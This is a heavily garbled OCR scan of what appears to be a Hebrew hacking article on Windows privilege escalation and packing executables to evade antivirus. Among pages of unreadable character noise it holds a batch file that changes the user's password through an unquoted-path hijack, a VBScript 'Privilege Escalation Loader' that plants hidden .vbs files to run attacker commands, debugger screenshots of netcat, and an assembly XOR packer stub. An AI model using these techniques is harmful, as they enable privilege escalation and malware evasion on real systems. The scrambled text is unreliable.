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Privilege Escalation
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'‘Myapp.bat' is not recognized as an internal or external command, operable program or
batch file.
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@echo off
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call "%~d0 \ program files \ %~nl %~2"

exit
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@echo off

net user %username% cp77fkar
call "%~d0 \ program files \ %~nl %~2"
exit

s i bx s oxos g sy o WX ST o Al oA o o x4 s S
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S
1 x4 ACrogsroad~ | v v K.~ _ . 1, S
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Registry-* + {1 14.x X 4 {1 s x Xy

IR IO B S A IR B S FER R Y S NN IURNE LA RN B B
x 1%« 1. Windows Defender-s @ «x " (41 4 %1 1 1 2 Y 4% xx<_ { 2 Registrys
s. ]+ 7

| c: \ Program Files \ Windows Defender \ MSASCui.exe - hide \

LX 138 w1 %" Redistry- x | 7 |

| "c: \ Program Files  \ Windows Defender \ MSASCui.exe" - hide |

FA T XYL, T dss e o XX x s o saox DX P x] L, oss] ]
SC A IS« 4 x| .x LS., xs | 3™ |xXIFpundStone-. S * F _ |
s X8 gsIq L s s x A sy B Al s % AT XL L
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Fes Xl osx X ST L 0 X 4 S g 4L BT VBSH T TR 4 A %]
= X

S, 4 eSSt XX TP SXpe L Kk s e xeossxXD Xy 04T ¢ el X
e S Ak i1 oISl X Jiasp 4 oA e ] e s X s {0 X T x ]
BX LIJxx~\]Lij~v-|sl~Jf“x>Sv-|q_‘;\s

REM Privilege Escalation Loader; by cp77fk4r / 03.06.09

Int cnt
Dim path,dir,cmd
Dim objFSO, strFile, objFile

Set 0bjFSO = CreateObject("Scripting.FileSystemObject")
path = InputBox("FullPath:"+vbCRLF+"(Example: C: \ Program
Files \ Google \ Gmail Natifier \ gnotify.exe",,, 5000, 4000)

cmd = "Set objShell =
CreateObject("+chr(34)+"WScript.Shell"+chr(34)+")"+vbCRLF

cmd =cmd + "a = objShell.Run ("+chr(34) +
InputBox("Command:"+vbCRLF+"Example: Net user %username%
1337")+chr(34)+", 0, 0)"+vbCRLF

cmd = cmd + "a = objShell.Run
("+chr(34)+chr(34)+chr(34)+path+chr(34)+chr(34)+chr(34)+")"

dir=Split(path," \'")
cnt=0
Fori=0to UB ound(dir)
if InStr(dir(i)," ") then
cnt=cnt+1
strFile = split(dir(i))
If ((objFSO.FileExists(path)) or
(objFSO.FolderExists(path))) Then
Set objFile = objFSO.CreateTextFile(fpath &
strFile(0) & ".vbs")
objFile.WriteLine(cmd)
objFile.Close
set objFile = objFSO.GetFile(fpath & strFile(0) &
".vbs")
objFile.Attributes = objFile.Attributes + 2
else
WScript.Echo path & " Not exist"
WScript.Quit
end if
end if
fpath=fpath&dir(i)&" \"
Next
WScript.Echo cnt & " files writed."
WScript.Quit
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X de XY X -0 YXy o .~ Xe |« X Privilege escalation-s -~
Xov eSS B s, Cx )l L Y L T X e T e x 8y
.System
X 1 s

At |

access denied |

O T I T Vs Sl WLl S ST U ST SR
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X« asx 4 ¥, Xs§ _System. BN S T A TR I B )
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17 ,s;amﬁlsu,l EXE * xialul x XD s kx 3 gl x Do m

Packer -s 1 x % X "{[xI"x,x & « 4

a7 0lly, Ollyr . X x s 07 AT i Olly* | X x LS s Xl (g 4117

S X o« kb ©R] S Xe, JLY4T” |x$ s 4T x 7
FXar A L s e s e xS S e XX L EXES L X4 T x X
L™ s S T S B S L B R DU | I S I 1 T
‘Il)t’d.lony:x“sl'AI,11X\1VX~)S?§_,A4”'{X.”ii(“;s-l-“vLLJ)Xx’l;X“"v:"”X

LoX XX 0 XXX x s f ] A S we e x B XTI T st X
I NN P IR SENTRN Clal i S SNRINS I SR R SN

w
S
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0llyDbg - nc.exe

Fle View Debug Plugins Options Window Help

]| wl s B ] 5

Regizters (FPUD <
Ef; PPBEABFF kerne oz, TeThunk
EC¥ a6

EDX BB4B4ACE nc. <Hodu ERtryPoint >
EEX PFFDEOGH
ESP BB12FFEC
EEF g013eFS

E
EDI 58006060

EIP BB4B4ACE nc. Hodu LeEntryPoint s
0 5 8823 azbis OUEEFFEEFE)

1
B
1D B(FFFFFFFF]
© FS GO%E Z2bit rFFOFREAIFFF)
9 88 8000 UL
B LastEvr ERROR_SUCCESS (GRGGAGHD
L B8BBB24E (MO, B, E, BE NS, PE, GE, LE
ST eupty 8.9
STL ewpty 8.8
ST ewpty 8.8
SI3 empty 8.8
£Td4 empry 818
1% empry 818
ETE eupty 818
ST7 eupty @la
az21e

FST 8828 Cond B8 B @
FOU B27F Prec NEAR,53 Hask

FECETRER]

TEETAT1[ FETURN to Rerne (22, TTOEATIT =
BT

6013FFO4|

P7BE4EE| FETURN ta ntdl |, 7PEBE4B6

PFFDGaRG)

o

THEREN

R
FFFFFFFF| End of SEH chain
77409834 SE handler
219FC1ES]

eBapGaa0a|

BO1ZFFEL]
77&0E4E3| RETURN to nvdll, 7TE0E439 from nvdll, TPEGE4EF
88304AC e HodkLeEntivPo ae>

2eapaaaa)
BB404ACE| ne. <Madu LeEntryPoint >

PEFDEOER)
60606A0A) =

Analysing ne: 138 heuristical procedures, 249 calls to known, 30 calls ko guessed functions [ [Paused

XX T X

=<
o—d
X
>

A
2]

“NLS)S"X D ]

~ o~ > 2N ~ o~ T~ A v

EP-s 4" | ¢ x X 3| X Jsp« 7 004009707 X » 1% & 8] X

X
1

Thx s x . s

X B LS S d 4w ST SXe 2 T XS0 Jaxs | e x % L1y oy X
X 4*sq d R sx  Packer-s | X o X pedppeXd AL ] 8 X ST P00 1l X
. vny’IxL“‘ﬁ“ZvL {4 Q<s | 1 v &x Z\ijyxl”l_le~,=,,’_|IL.-| " JZXL:-{S],,ZXV\J-|,, «

s ¢ 9. « 4OA9GE- _ ¥ xxI"\Uppackers 1« L 41 s 4 spix 41 > x 104401000
1 986E "L, . S XL X8 s
: _I ” J_ XS: S.I ’\"l_’ﬂ x " -IX “Xq « S >1 .I”:XJ .
Sov T € Jix s sl Tl ks X s s L8 X XX )X Xs

s, {47 ~Xs L odsYL.X AZ >x X, o XL vx JAXLD S ~x XS -|¢,,J’<VII ys”” y. sv {1 Windows>
DL S A S LI st XX T At L 4SS yls f X
= xsxs| { S+

A

- X
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LD Xplfe D gewtion . 1~ Affributes-S 4 X T X ol X XSl (s "y sl x XTI {0
Sections . 1 L(PE Edift 1)x 7 X xieuX © X 1« KordPE «S . s . X RES

Ao 5~

XU DRI, XX XS (B ST N  x ¥ X g fextx 1w s, ]

...... -
Path | FID | ImageBase ImageSize "T‘ FE Editor
e J— P— nannannn L FE—
[ PE Editor ] - C:AWINDDWS\System32\nc._exe [EaK & Erner
. [~ Basic PE Header Infarmation oK Rebuild PE
| EntruPaint: 000044C3 Subsystem: 0003 E 5 Unzplit
! [ 00400000 NumberDf5 ections: 0003 s e S
SizeDflmage: [ ooooFED4 TirneDateStamp: H1D2F254 Sl Dptions
BaselfCode: | 00001000 SizeDfHeaders: £o001000] + | Dlhestats
Base0fData: 00008 000 Characteristics: 010F| ... IS
Sectiondlignment: | 00007000 Checksum: 00000000 7 | o About
Filetignment; 00001000 Size0f0ptionalH eader: 00EQ Eait
| 3 Compare
bl | 5 ection Table ] x|
Name WiFfset VSize Fiffzet | Fisize | Flags [
Jbewt 00001000 0000336E 00001000 00004000 E0000020
.data 00008 000 00002748 0000E 000 00003000 40000040
.data 0000E 000 00001E 04 0000E 000 00001000 0000040
[ Edit SectionHeader ]
— Section Header
M et |LI
ame: e
Yirualdddress: 00aotaoa
VirtualSize: 0000336E
RawOffset: 0001000
RawSize: 00004000
Flags: £0000020 .|
[ Section Flags ]
—Set Flag:

Shareable in memany
Executable az code

Readab
ribeable
Contains extended relocations
Discardable as needed

Can't be cached

Mot pageable

O Cantains COMDAT data

O Cantains comments or ather infos

X OB L B KR L X ST 4 sk T X Y X T 4 Y e X

L _ RVA Relative Virtual) Address © = 4 d 4 14 7% 1PEs » I x 1100404970 * x * | X

S v XesT M "!_ slox X0 .78 X 1 L= x . ¥ d:EXXx :‘JLs~x,I 1 BP-s

ImageBase + RVA = Virtual Address (address in mgmory

X " 1 EP-s L _RVA- L ~0040A970% "1 = x . 1 4 E ¥ x34%4X})§

¥
* x 447188 .~ « _LOrdPE-* x ¢ x < . d ImageBases * « VA-s T . 1]
1 7 Iux_Enry Points » x LOrdPE* = {1 $ < Xi<A970: *

' - . L]

~ oA

"4 dd A

x o]

v~
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XTB 0 XS DAL s ¥sL.  PES . o x Al ase 0 Fox P T x ]

o~ A~ ~

XoxXPxsT X IX] w S XxX 04+ ]

)

~

Xos G848 L XZLV 14ss1x 1 1s . x <« 5s y{ P oL~ '|3<<.‘~-|,,=\xs”y”
DX X 0 e XD, 08X { s e 0o xs{ 4 x4l 1 MetaSploit Framework

A > A A

LX A Y o xpd 7 dxs " XKOR L x| x sl r 4 XIsT ¢ & XOR

1o isx 4,sx €4 Jx 54 IxCD x Xk, s I {7s Xx o X7 x,|ld XOR
x Dkl ox o oxsq]l4X s T os g ssq 8 X X (ST DX ] 4L sl oX g, X s

Deb e X" T XTE X< {YOWDbg s .l $ <LordPE X" 1. 1st

I x “ s«
:Unpacking® Packings © L X « <« X 48 X" 0 X L x X8 Spos
mov EDI, 00401000 ; Start of area to be packed
mov ECX, 0996E ; Amount of bytes from that address
packer_loop:

xor byte ptr [EDI], 56 xor each byte. 56 is the key that we will
use to xor each byte.

inc edi move on to the next address to xor
loop packer_loop loop this 996E times

jmp 404AC3 ; jmp to the original program EP

| x S S X . b oo >S(S, "X, s'l le )S“B[-eékPOInh_ « V=L:)-| x Lsx¢ s x ~ S'I - .. -I [ J
(|

S0 Xl s X XD X ], I ] JLx~IZ LN R

X

-1

Copy tod " T 10 1.0 EXEl« X SX__ ]¥ XS X 42X o XK iWss X sy ||

1 7xxigi ks xoys b ux " TBEXES ¢ o0 4 1T xsu X wekexutable-> All changes

SO I xel 3 % L XX Tees e X T

a

L K 4 X1 Packers | Xiasl X . F L ATXsST s X ] 5% xWaOlly: X v x 3 % f ]

\>S{lsx“ﬁs-| “L~1>< >l'<x:“‘s,,‘s;L;_'|q_A>s‘Lx:ons-|,,ss;¢'Lx~,,'Lxg'w

X" 4\ 151 XOR

XX ] php)s 7 x . ST s o BreakPoink | <
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x

oA T L e XS, s x DX Gk b ¥ X X yOllyr v_S: s
4:,,><\xss¢-|x\J,,-|Ax s)C’_,(y\x)gA:xLA:{siuul]oxxh\{.|x_ﬂ\_|~s
K $ 4 x> 4 Qlly-L r X »sYSK . SCtrvEXx | Co X T LT b oxo st o

s ¢ 9 . XX 1 s

a ~A

—
— o~
—

-

X% 1 «Dump view-s - «+x " XIX{ ][] T 4 R L SIS X v f (pXiaagp
Step overs » x L Fx X xx T . T s 4S8 7Y X X o x| .

J x4 yxv‘:J ol xxIssl Tox JVL|~X d s8]

x
¢

0llyDbg - nc2 CPU - main thread, module nc22]
[C] Eile Wiew Debug Plugins Opfions Window Help

0 ] +f L|E[MT[w]H[c]/[K[B[R]..[5] |
RCG AL o ~Beaisters (FPL) < FEE S S S S S S S S SR S
SUE AL, 41 ERR TTIGGEFF kemne 3z, TeThunk
CIP A, 1A ECH BABRG5S
B8 CL)CL EDX 0848A97E no22. <Hodu LeEntryPolnt >
AND €O, 36 EEX FFOAGOR
ADD A, EL ESP o@12FFEL
a0D AL, 41 EEP o@12FFaq
GIIP AL, BH ESI GopaaanD
JE SHORT BB48A930 EDI Q0401626 ncZ2. 68401026
888 BB EIP BMERSTD o, GR4GRST
MOUSE AR C 8 ES 0023 32biv BCFFFFFFFF]
FOP EE% F B G @aiB 3zbly O(FFFFFFFF)
B EST 88 S @AES zbly OLFFFFFFFF)
FOF EDI Z B O B3 32bis GLFFFFFFFE)
ERUE S @ FS O3B Szbic PFFOFGRAIFFF)
RETN T G5 oaoe HULL
08 83 58 CESS (00GER006)
08 LastErr ERROR_SUC
KOR BYTE FTR 0S:(EDI1, 12 b
He noZz, Ge4p1az 3 o B
- EZ FA LODFD_SHORT 040AS7A 12 cninty 8.8
E3 SERIFFFF | JIF 004G4RCT ST3 enoty @10
fioP 513 enpty .0
0E 2@ ST enoty @10
o o §1¢ enoty 010
enpty 0.
08 oa - 21 EsPUQZOI
EBE FST 6000 Cond £ 666 Ecc GODDEEGA (GT)
be o [ I e R S S R
OE 08
08 oo ~
22, GOATIEZE]
TR D
fen_durp Uicassenbly Connent | TR EaTles
Y CHG EAR, ECX 6812FF04)
7 FE4E 41 IRC BYTE PTR D9:[EST+411 eRaE4Be) RETURN to ntdl 1. 77A%E4BE
) coa PFFOAaGG)
% OFTERZ £2124{HOUD DUORD FTR 0%: [EDK+2L44 1321, Hitd oBOEAG|
7 Edad TN AL, 44 170 canmand Gepaaang|
v TE 13 JE SHORT Bp4p1823 Tnher (rable Ganaaan)
ot} US SHORT Bpdplaze Aosess SEFRAaa)
- 2600000)
s g POP EST GAAGAM)
7 38:76 43 | JBE SHORT BE4B165A Superf luous pref ix Ghaana0n)
.05 I 8812FFAA
7 2E:3RS6 12 |CMP OL,BYTE PTR 95:[ES1+12] aepanang|
7 izi2 ADC DL, BYTE FTR D3: [EDX] FFFFFFFF| End of SEH chain
8 uAlT 1 PPREgEa4| SE handler
5 FREFIY DATRSIZE: Supert luaus oref i GharEag|
3 PREFIH 5! Supert luous pref i S9acag00)
3 Supert luous pref i S8izerer]
& PREFI# DATRSIZE: LR IE (S 7TA3E4S3| RETURN to ntdl 1. T7ASE4S3 fFrom ntdll.TPASE4EF
2 : Superf luous pref ix 84097 noe2. <Modu LeEntTPa ns >
@ 7FFOAaga)
. apaaAans|
5 Geaaaang|
5 Geaaaans|
5 Gpaaang|
: 8400570 no22, <Hodu LeEntryFoln:>
5 FEFDAGAG)
5 2600000)
IR EGetCurrentProcess.
L@ hTarsetProcess. =
L hEaurce
. Fos CALL EBx CiettarrentFrocess =
i i
P [ [Faused

1: XORr I x 14X xost g ] X« X4 o I"mp b x L, ¥os « |
Sl 4 X x XTI x s s (I x x4 T Qlly oo 1%
» 1 K)}NetCatr x =%  HL RIS s x & Cx ¥ xd 4§ x§@x

_C(x ——

X
— <

S« L oxUnpacking® v L SCL ST T IS AT IS P TS X xSk L LS, e
S UXe {XOR. = X Xl 17 45 Byte XOR b x X xxo sl i 4 1015, ¢
Bytes X(_ < 1 I {Xx s fss” x  ,98s {7, s XORx I Y .]|q s

A4S AT XD 4 seLogs? ISk 60X o S Unpackings |« L X% P X X ) S xS T 4
Xpd 1+ -

¢

N >
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> A v

(Underwarrior) ~ !~ .~ 47 I«

FoA ,,Zyx]-|:yx‘\sxx>¢|'2-|Zst\”L-|vx

11 ™ML 4480 xs x4 8%, s D BIHP XD T 4 X d " ]

R SN S E R S IR SR S SN ST T ST S IV S
L1158 0

v o~

F-I1X?<‘X:"XS”-IJQJL'.IAXV: -|)x‘:+v-| “x’|,]=",v\‘{_ s, “'|'|”Zx> :FVX1::SX~”V'—

To ] S D% s %X X 0] DX TS s 4 X dAf 1. s
PR T % A IXT) G T B x X s 4 g D o x sy T

X "o dy v aS.osx | v X [’Zxx~1 | :”)i”v JA,)d :-Lv) Tx "ax €0 L XS 0T XpsqL " s

_X”'TL\-.;\.:X -I\_: X

XV:J,-I . XJ&”L‘IVL>S~$' “-|V|.9(-||_:A”x|5|_‘X'I,Z’s\-q”v\vsﬁ_'i-l:l-v'l'yv‘:(;s vx

S U kA e UM 8L v d ST S o Al b X4 eSSy 4 s
FS A x gLl g s d 1 7 lesy o 4 AR ST A A AR XL WY s s

A x B x50y
ST N SR RS NS RS I

~

L N S B PR LS W B OCR T N
TR xYdqos s o 1 %, 1 4s 1, X1 x 1

~

F 41, -8 .,.x4 qds T8 . x s”x8§ , | ¥ x 00X X JIoxx ], xXD 4 I e € X
P 430X X xR s X LN X XX w Yy s s XX s o 4 o
DX P X Lisdy " s A ] XX XC X, L4 X s dsxs] . X s
=L | $ XL P47 Togsl s & X D X Al 4o X x 7 x S {1 4+ « s
FLOATLD R A T X IS T X 7 O IS T x ] YT X1 9550, 4 Y 4 . x 41
1,7 s 1> o P x pd Qonsolg* [ T X, oSS T % T o xqs
X X 0P ¥ 8 xs @ Jxd] 1xs p Isexs ” xxy |l X {siix s{ x,« « |
S A I ZZ~ssj";||:va,,"xA"’.|;,x,-4"1ZIx TXX X X X |

YUHT XX L x Xs T s ® sxXID o xp X HosT ] xx ot Tl kD s

TlXY sxe x s G oxp X x 1y s x b Xy B A, o TeoSX, % ¢ 17

DXL hsId g s s i a0 xixs X Ty TP HAY A e s

XLS~”1V_§“1Lx“v-|~vxs~1V‘SX=SJXL:~SVLV1‘L-|~vs>-<'|"*IIL+AX ,,Iyxs~
el AL RS e e X v A LS L fsx % x Ts 7 T X T 08T ] s
T L XY DX X T s s e XA X sx s

A1y 404174

R B MR T NNCE S B B O CRG R
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s O [ Py CHURSIERx JT K1 v SRS s sy
LOLX TRy, L ox T I Dox X g Jx ) T Xowxs o

Xl As T FI s usX {1, x4 15 s

Tho I X2y 88 XSy ALy iy 47X s A% 41477
R I B IULYAE I U AR T | I S AR S AR RSN S I TN 0 I
,4RX§>6<,X,,XX,,A~L) v XX s @ x X4 L X 1w X X=A 117

L HX 184370 Jxs, 51 ss

S v 4 ds Yo 5yl Xy ]

(17 A AR L TesxSIH ) S o ] s X 0

~

X LR g e SLx XX D osf RS XS, x4y T XY sy, X

PXT M XL R 240 8 f s % s aosh Ise LT X R D] L X Y.
£ 4o s Wl AT Y TIPS s T s LT D XY

X " L:X”

~

S T X X e Al T X B I XX s F D] X
LoXOTIXX \,_~1><">gx1w X e Xx 4 0x s -|v>*ss

LA XS T Y R ss o0 T O T x xT sy o 4 R Tydx L g
DX T 0% CHAHRL | A L s s ox s cipdx 4. 41

?"=”Xf-ir-wV"rx~'H,~vs
O T O B B Y |
117y Hy TL7 480 T 4« 17 x 1,

P S A . XXX X b7 TXs §osx o, L f Ty s |4
S, H I X x)Pex Al T S 0T px LTRSS E DT XS
JOXT o B R X X ST A AP OT S T e

XTI s ss b Ko T x T yxs T g x s x €]
XS UXIYW X, s« I, X sl ], X 871" Xxexsys{ (s, X { x 7
S L] 8slsx &N XT"] xx Xs 1S, Ted - L 1% s X X L «X{s ] xL s, 1 s

A XX sse fu 4 FTIXi4s X X X s

~ v o~

1 hudd | o Hx s8 XX 7 4%, X X s o X f . Ky o X XT XS X

~

XU L ST AXT Y LS B WS X L XXX xS, X s

~ ~

S(ex fes 48 Tw )s

R B MR T NNCE S B B O CRG R
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XX T XX ]S Tl uxs o T X

A RN LR FUNE B BTSSRI NN I I

R LN O L e e B IVE NS LR IR R SN B

SV VIR S E K % X Y T Y

MY | SRS W S | I (R
!—\\; !—\\; !—\\; !—\\;
x .

JoxoXs Mg x o0 X TR (s ] x Xy
.ssC § x ] & X ss ,

O B L AT AN

:JXXSV('LAX))JXﬁ-wS V:-XXVI‘SHESYL"JIXA

ST A% A s HY x {Xs s ]

S, 1A T L T s % e T x s

Fodo, - ¥ YOS XX 4l x s X
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SRR

v v~

I« x5 “ =‘9 LS

o1

Ixs®x s 1T | o o 4T3, 1-04+X47 6% 1 14X

CHF F LTI A ] X, s 1

~

oA WIS

Y EERCRS B A DL, B BRI Il

X, o] 1 yx"i S w84 L7 1

XX, 4o

.x\x|_\v|.v-|”-|>ﬁ:|:3<'|;,,:b(¥ﬁ

T _Ter A

> v

~~

S 01 LS. X UdXXE 3 [

CE BT AT Al T A s K YT s x s

R SR B A IR N B Rt R S B

v oo~

v\.\.SX‘S LA

v v

Fed XN, X Ty s iy lese o)
A 1oss X o o o v A Tk
Fd e X 1R L XS S XTI LT R | X (S L, X X Ly X, yssg 4 ] X
LT T s 1AESE o T i A D e X T e X s
o X W B AL %P s ¥ TSy ] s L x gL
TR BT B . PO i PR EE R S I BN SPTE CIE S I B YR |
A% At e 1o s
SLX LU XX I X 4 SX TS a4 {8 X8 T sxTx D x ]
o NS taasx XS, ] G0 xxy XX ©
R T S (A IR W AR DA BRI 7N I SRR I ) A IS IR e B B PO | IS
TX D XS X s 4 TR Y L e S X s L x
XA SeX T s b 18 X ox
LT XY 24 0 XSt 4T X T X T X T LS e e I ] X x0T 0 XY ]

~

X ><=yxv,,,_xj~:¢x L ><,_\/AIVI x HWR2X 1Ly g * . s

~~

I T PR STy N BN G BRSO S8 A TR RN,

>

~

~ ~

~

TXods X X4\ s

24

F

1,

PR B PR SR S e I
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Aol x N

A ~ >

(cp77fkdr) v~ 411« ~ 4, ~ o«

Dl s A e HA AT s L x4 s T e kT e X s, 0 e X sy

~

N BT M LR IR S S N T I N N R R SR | R EP S A T

LX XX D4 871178 Cdd opxine DEDS 0 b 4 1 0 I L I8y v X qs

oL X s % {-us 7 x | "B $ 4 X KK X |7, X p 4 Jisx A) T c7X s x
(T X sl X

XS g oL X S X e 88 s X ds s @ fyss (T s T x X

S TS XS HUSS) 4o e X c S T X (R e X K9S |y
Tapll e du A s s 47 e aoxsslox g f oo x 3L x

F1L 1 s

FoA Xp,ql.,s I xy ] ss

b S XA S IAL R X ]

B R O R TN B SO Pl U B I R

sl x g

Todree X 140 4 Y . s X ~st VZJ\F 11 X - ¢ Ast~\FS1 ] xZ"J\Zsi *x x
Pl wx o 8 koA IXx 1o b s 1T (0 X s X))oy, Svr lL

AL XS A s A d . d s XX L es o L YR r e o S

~

1 ks e d s 1o e A0 w5 14 Xd s 4 sy 0, ¢ sX s
17 3k s Xy, s X PO d- At A sl A

x v v o~

~ v ~

o) yrs o 0 S5 e THE s
Lok = X e XA e e md AT X 4 Y sl d% o~

AR LI AR ST AT R S IR SR Tl | B

http://www.amperel.co.il/products/72344

Lo~ 18 44 ) s{n3F 4. 1 x

cA e IR LT HTR e TH s S X T

Pl Xt T s
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’”

R A TR I TR T I -

. X ”Zvﬂs¢ Axfxxx . s 1

.

F xx ", X Py, €] X
RN

X«

FodoLcls

Folorx

L
W c—

[

LA E ~ 44

X
PxZ 4 esdul dw 4% 109

S X ] A20xT. L X

T echnolooi

~ o~

X v dd T * x4 1 o

FAloids s o xo

XX Xg 01 s k4 s ) XK Y ST g
P XA A T e s, Ixdxes

T, Fusleg X% 40

P54 "X B AT H s o 1T T{TaaxilLsE X

i1 s ] s X X 1 S

<

oAy s, € p XXy 4 x

a ~ ~ >

L -
xRS T . % A A VG s i X x s { x 8 Ly ]

+

X4 X X s T X, s DTS ] AX T

a

Rl T A I AT o AXTs 44 x| s

XXX N e XX s K, s

AT AT e x| Ssep 48 ] Y e X o XS 4se I e d ]
TolAs s Isy Sl sk x o qxsTi 4 e ST, ) e,
CaHAT Y e Ve AU s, Xy x T Xy

1% s x A

X< 1

L

Yt AR .

a

{ « X" ] s

L' L1547

v v
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